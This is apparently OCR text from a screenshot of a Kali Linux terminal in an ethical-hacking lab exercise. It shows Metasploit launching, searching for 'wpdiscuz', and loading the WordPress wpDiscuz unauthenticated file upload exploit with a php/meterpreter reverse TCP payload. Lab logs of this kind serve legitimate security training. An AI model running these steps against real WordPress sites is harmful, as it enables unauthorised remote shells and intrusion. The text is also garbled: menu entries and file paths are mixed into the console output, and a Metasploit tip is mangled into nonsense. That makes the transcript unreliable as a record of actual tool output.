```
File Actions Edit View Help
                                           /home/bosmuda/Documents/EtHack/prak1/web-vulner
                                                                                              Ctrl+0
$ /usr/share/kali-menu/helper-scripts/metasploit-framework.sh
                                           /home/bosmuda/Documents/EtHack/prak1/readme-2
[sudo] password for yakali:
[ii] Database already started hift+S
                                           /home/bosmuda/Documents/EtHack/prak1/ftp-2
[1] The database appears to be already configured, skipping initialization
Metasoloit tip: After running db nmap hoe sure to Denece to the theore suct fund
                                                                                              Ctrl+3
of hosts and services
                                           /home/bosmuda/Documents/EtHack/prak1/ethack
                                                                                              Ctrl+4
                                           /home/bosmuda/Documents/EtHack/prak1/hashcat-pass
                                                                                              Ctrl+5
母 Print
                           Ctrl+P
                                           /home/bosmuda/Documents/EtHack/prak1/echo-hash
                                                                                              Ctrl+6
O Print Preview
                                                                                              Ctrl+7
                                          /home/bosmuda/Documents/EtHack/prak1/grep
   Close Window
                                           /home/bosmuda/Documents/EtHack/prak1/nmap
                                                                                              Ctrl+8
   Quit
                           Ctris Q
                                           /home/bosmuda/Documents/EtHack/prak1/ftp
                                                                                              Ctrl+9
        =[ metasploit v6.4.9-dev
        =[ 2420 exploits - 1248 auxiliary - 423 post
       -=[ 1468 payloads - 47 encoders - 11 nops
+ -- --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search wpdiscuz
```

Matching Modules

Disclosure Date Rank Check Description Name 0 exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload 2020-02-21 WordPress wpDiscuz Unauthenticated File Upload Vulnerability excellent Yes

Shell No. 1

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload

msf6 > use 0

Using configured payload php/meterpreter/reverse_tcp